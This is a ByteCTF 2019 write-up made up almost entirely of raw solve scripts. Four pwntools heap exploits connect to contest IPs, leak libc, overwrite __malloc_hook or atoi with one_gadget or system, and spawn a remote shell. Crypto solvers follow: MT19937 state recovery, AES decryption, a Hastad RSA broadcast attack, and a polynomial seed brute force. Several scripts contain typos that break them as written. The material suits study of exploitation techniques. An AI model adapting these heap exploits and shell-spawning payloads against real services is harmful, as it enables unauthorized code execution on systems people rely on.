ByteCTF 2019 SU Write Up

from pwn import*


e = ELF("./note_five")
a = e.libc
p = remote("112.126.103.195",9999)

def sl(x):
    p.sendline(x)

def create(idx,size):
    p.recvuntil(">> ")
    p.sl("1")
    p.recvuntil("idx: ")
    p.sl(str(idx))
    p.recvuntil("size: ")
    p.sl(str(size))


def remove(idx):
    p.recvuntil(">> ")
    p.sl("3")
    p.recvuntil("idx: ")
    p.sl(str(idx))


def edit(idx,content):
    p.recvuntil(">> ")
    p.sl("2")
    p.recvuntil("idx: ")
    p.sl(str(idx))
    p.recvuntil("content: ")
    p.sl(content)




create(0,0xe8)
create(1,0xe8)
create(2,0xe8)
create(3,0xe8)
create(4,0xe8)
remove(0)
edit(2,"b"*0xe0+p64(0x2d0)+"\xf0")
remove(3)
create(0,0x2d0 - 0x10)
edit(0,"b"*0xe0+p64(0)+p64(0xf1)+"c"*0xe0+p64(0)+p64(0xf1))
remove(1)
# overlap it
pay = 'b' * 0xe0
pay += p64(0) + p64(0xf1)
pay += p64(0) + p16(0x37f8 - 0x10)
edit(0,pay)

create(3,0xe8)

create(3,0xe8)

edit(0,"\x33"*0xe0+p64(0)+p64(0xf1)+"\x33"*0xe0+p64(0)+p64(0xf1))

remove(2)
edit(0,"\x33"*0xe0+p64(0)+p64(0xf1)+"\x33"*0xe0+p64(0)+p64(0xf1)+p16(0x25cf))

create(3,0xe8)
create(4,0xe8)
edit(4,"a"*9+p64(0)*7+p64(0xfbad1800)+p64(0)*3+p8(0))
p.recvuntil(p64(0xfbad1800))

p.recv(24)
libc_createress = u64(p.recv(6).ljust(8,"\x00"))-0x3c5600
# fastbin attack !!
pian = 0x7ffff7dd1b10 - 0x7ffff7dd196f
malloc_hook_one = a.symbols["__malloc_hook"]-pian+libc_createress
malloc_hook_two = a.symbols["__malloc_hook"]-0xc0+libc_createress
remove(3)
edit(0,"a"*0xe0+p64(0)+p64(0xf1)+"b"*0xe0+p64(0)+p64(0xf1)+p64(malloc_hook_one))

create(3,0xe8)
create(4,0xe8)
edit(4,"\x00"+p64(0)*4+p64(libc_createress+0x3c36e0)+p64(0)*22+p64(0xff))
remove(3)
edit(0,"\x33"*0xe0+p64(0)+p64(0xf1)+"\x33"*0xe0+p64(0)+p64(0xf1)+p64(malloc_hook_two))

create(3,0xe8)
create(4,0xe8)
edit(4,p64(0)*21 + p64(libc_createress+0x4526a)+ p64(a.symbols["__libc_realloc"]+13+libc_createress))
create(3,0xe0)
p.interactive()

from pwn import*

#context.log_level = "debug"
#p = process("./vip")
e = ELF("./vip")
a = ELF("./libc-2.27.so")
p = remote("112.126.103.14",9999)
#gdb.attach(p)
def sl(x):
    p.sendline(x)
def rl(x):
    p.recvunitl(x)
def create(idx):
    p.rl("Your choice: ")
    p.sl("1")
    p.rl("Index: ")
    p.sl(str(idx))


def remove(idx):
    p.rl("Your choice: ")
    p.sl("3")
    p.rl("Index: ")
    p.sl(str(idx))

def modify(idx,size):
    p.rl("Your choice: ")
    p.sl("4")
    p.rl("Index: ")
    p.sl(str(idx))
    p.rl("Size: ")
    p.sl(str(size))
def edit(idx,size,content):
    p.rl("Your choice: ")
    p.sl("4")
    p.rl("Index: ")
    p.sl(str(idx))
    p.rl("Size: ")
    p.sl(str(size))
    p.rl("Content: ")
    p.send(content)
def show(idx):
    p.rl("Your choice: ")
    p.sl("2")
    p.rl("Index: ")
    p.sl(str(idx))

create(0)
create(1)
remove(1)


while 1:
    modify(0,0x63)
    show(0)
    things = p.rl("\n",drop=True)
    if len(things) >= 0x63 :
        byte = u8(things[-1:])
        if byte == 0x40:
            print "waitting :"+str(hex(byte))
            break
        else:
            continue
    else:
        continue
while 1:
    modify(0,0x62)
    show(0)
    things = p.rl("\n",drop=True)
    if len(things) >= 0x62 :
        byte = u8(things[-2:-1])
        if byte == 0x40:
            print "waitting :"+str(hex(byte))
            break
        else:
            continue
    else:
        continue
while 1:
    modify(0,0x61)
    show(0)
    things = p.rl("\n",drop=True)
    if len(things) >= 0x61 :
        byte = u8(things[-3:-2])
        if byte == 0xd0:
            print "Get it : "+str(hex(byte))
            break
        else:
            continue
    else:
        continue

# you can attack it
create(3)
create(4)
edit(4,0x40,p64(0xdeadbeef)*2+p64(0x404070)*5+"\n")
# edit success!!
edit(4,0x50,p64(0xdeadbeef)*2+p64(0x404070)*7+"\n")

show(0)
libc_creater = u64(p.rl("\n",drop=True).ljust(8,"\x00")) - a.symbols["atoi"]
system = libc_creater + a.symbols["system"]
# use the pointer to get it.
edit(0,0x10,p64(system)*2)

p.rl("Your choice: ")
p.send("/bin/sh\x00"+"\n")

p.interactive()

from pwn import*

context.log_level = "debug"
#p = process("./mheap")

p = remote("112.126.98.5",9999)

def sl(x):
    p.sendline(x)
def rl(x):
    p.recvuntil(x)
def create(idx,size,content):
    p.rl("Your choice: ")
    p.sl("1")
    p.rl("Index: ")
    p.sl(str(idx))
    p.rl("Input size: ")
    p.sl(str(size))
    p.rl("Content: ")
    p.send(str(content))

def remove(idx):
    p.rl("Your choice: ")
    p.sl("3")
    p.rl("Index: ")
    p.sl(str(idx))

def modify(idx,content):
    p.rl("Your choice: ")
    p.sl("4")
    p.rl("Index: ")
    p.sl(str(idx))
    p.sl(content)
def show(idx):
    p.rl("Your choice: ")
    p.sl("2")
    p.rl("Index: ")
    p.sl(str(idx))

create(0,3840+0x10,"\n")
create(1,80,"a"*80)
remove(1)

create(2,256,p64(0x60)+p64(0x4040e0)+"\x22"*(0xd0-1)+"\n")

create(1,80,"a"+"\n")

create(2,0x23330000,p64(0x404050)+"\n")
show(2)
libc_creater = u64(p.rl("\n",drop=True).ljust(8,"\x00"))-0x40680
system = 0x4f440+libc_creater
modify(2,p64(system))

p.rl("choice: ")
p.sl("/bin/sh\x00")
p.interactive()

from pwn import *
context.arch = "amd64"
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def c(size,data):
    io.sendlineafter(">",'C')
    io.sendlineafter(">",str(size))
    io.sendlineafter(">",data)
def r(idx):
    io.sendlineafter(">",'R')
    io.sendlineafter(">",str(idx))
def e(idx,data):
    io.sendlineafter(">",'E')
    io.sendlineafter(">",str(idx))
    io.sendafter(">",data)
def s():
    io.sendlineafter(">",'S')
#io = process("./mulnote")
io = remote('112.126.101.96',9999)
c(0x100,'AAAA')
r(0)
s()
io.recvuntil('[0]:\n')
lbase = u64(io.recv(6).ljust(8,'\x00'))-0x3c4b78
success(hex(lbase))
c(0x60,'tcl')
c(0x60,'tcl')
c(0x60,'tcl')
r(1)
r(2)
r(1)
c(0x60,p64(lbase+libc.sym['__malloc_hook']-0x23))
c(0x60,p64(lbase+libc.sym['__malloc_hook']-0x23))
c(0x60,p64(lbase+libc.sym['__malloc_hook']-0x23))
c(0x60,'a'*0x13+p64(lbase+0x4526a))

#gdb.attach(io)
io.interactive()

# coding=utf-8
import os
from PIL import Image

path = "./pics/"
def get_file_list(file_path):
    dir_list = os.listdir(file_path)
    if not dir_list:
        return
    else:
        dir_list = sorted(dir_list,  key=lambda x: os.path.getmtime(os.path.join(file_path, x)))
        # print(dir_list)
        return dir_list
list_im = get_file_list(path)
column = 21
row_num = 11
width = 35
height = 43
imgs = [Image.open(path+i) for i in list_im]
target = Image.new('RGB', (width*column, height*row_num))
for i in range(len(list_im)):
    if i % column == 0:
        end = len(list_im) if i + column > len(list_im) else i + column 
        for col, image in enumerate(imgs[i:i+column]):
            target.paste(image, (width*col, height*(i//column), 
                                 width*(col + 1), height*(i//column + 1)))   
target.show()

from pwn import *
import random
import time
context.log_level = 'DEBUG'
io = remote('112.125.25.81',9999)
#lis = {'j':'s','b':'j','s':'b'}
lis1 = {'j':'b','b':'s','s':'j'}
lis2 = {'j':'s','b':'j','s':'b'}
win = 0
step = 0

def sjb():
    rec = io.recvline()[-2]
    io.sendline(rec)
    msg = io.recvline()
    if 'you win' in msg:
        print('win')
    now = lis1
    rec = io.recvline()[-2]
    io.sendline(now[rec])
    msg = io.recvline()
    if 'you win' in msg:
        print('win')
    now = lis2
    rec = io.recvline()[-2]
    io.sendline(now[rec])
    msg = io.recvline()
    if 'you win' in msg:
        print('win')

while True:
    sjb()

import random
from MTRecover import MT19937Recover

with open('old','r') as f:
    bits = f.read().split("\n")[:-1]

dis = []

for _ in bits:
    dis.append(int(_))

mtb = MT19937Recover()
rand = mtb.go(dis)
for i in range(72):
    next_rand = rand.getrandbits(128)
    print next_rand

from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
from Crypto.Cipher import AES

def stateconvert(key,text):
    key = long_to_bytes(key)
    handle = AES.new(key, AES.MODE_CBC, "\x00"*16)
    output = handle.decrypt(text)
    return output


with open("new","r") as f:
    new = f.read().split("\n")[:-1]

with open("key","r") as f:
    key = f.read().split("\n")[:-1]

tmp1 = []

for i in range(24):
    tmp1.append(bytes_to_long(stateconvert(int(key[len(key)+i-24]),new[i].decode("hex"))))

tmp2 = []

for i in range(24):
    tmp2.append(bytes_to_long(stateconvert(int(key[len(key)+i-48]),long_to_bytes(tmp1[i]))))

s = ""
f = open("clist","wb")
for i in tmp2:
    s += str(i).replace("L","")+'\n'
f.write(s)

# -*- coding: cp936 -*-
import gmpy2
import time
def CRT(items):
    N = reduce(lambda x, y: x * y, (i[1] for i in items))
    result = 0
    for a, n in items:
        m = N / n
        d, r, s = gmpy2.gcdext(n, m)
        if d != 1: raise Exception("Input not pairwise co-prime")
        result += a * s * m
    return result % N, N
# 读入 e, n, c
e = 17
with open("clist") as f:
    clist = f.read().split('\n')[:-1]
with open("cl") as f:
    cl = f.read().replace('L','').split('\n')[:-1]
c = []
for i in clist:
    c.append(int(i))
n = []
for i in cl:
    n.append(int(i,16))


print '[+]Detecting m...'
data = zip(c, n)
x, n = CRT(data)
realnum = gmpy2.iroot(gmpy2.mpz(x), e)[0].digits()
print '  [-]m is: ' + '{:x}'.format(int(realnum))
print '[!]All Done!'

from Crypto.Util.number import bytes_to_long, long_to_bytes
def generate_init_state(seed):
    a = 0
    # print bin(seed)[2:]
    for i in bin(seed)[2:]:
        a = a << 1
        if (int(i)):
            a = a ^ seed
        if a >> 256:
            a = a ^ 0x10000000000000000000000000000000000000000000000000000000000000223L
    return a

result = 0x87c303deaa0880e30957a1c3886a86f100c3a67381d022cd00ab8b3b028bd87c
for i in range(1000000):
    result = generate_init_state(result)
    if long_to_bytes(result)[-1] == '}':
        print long_to_bytes(result)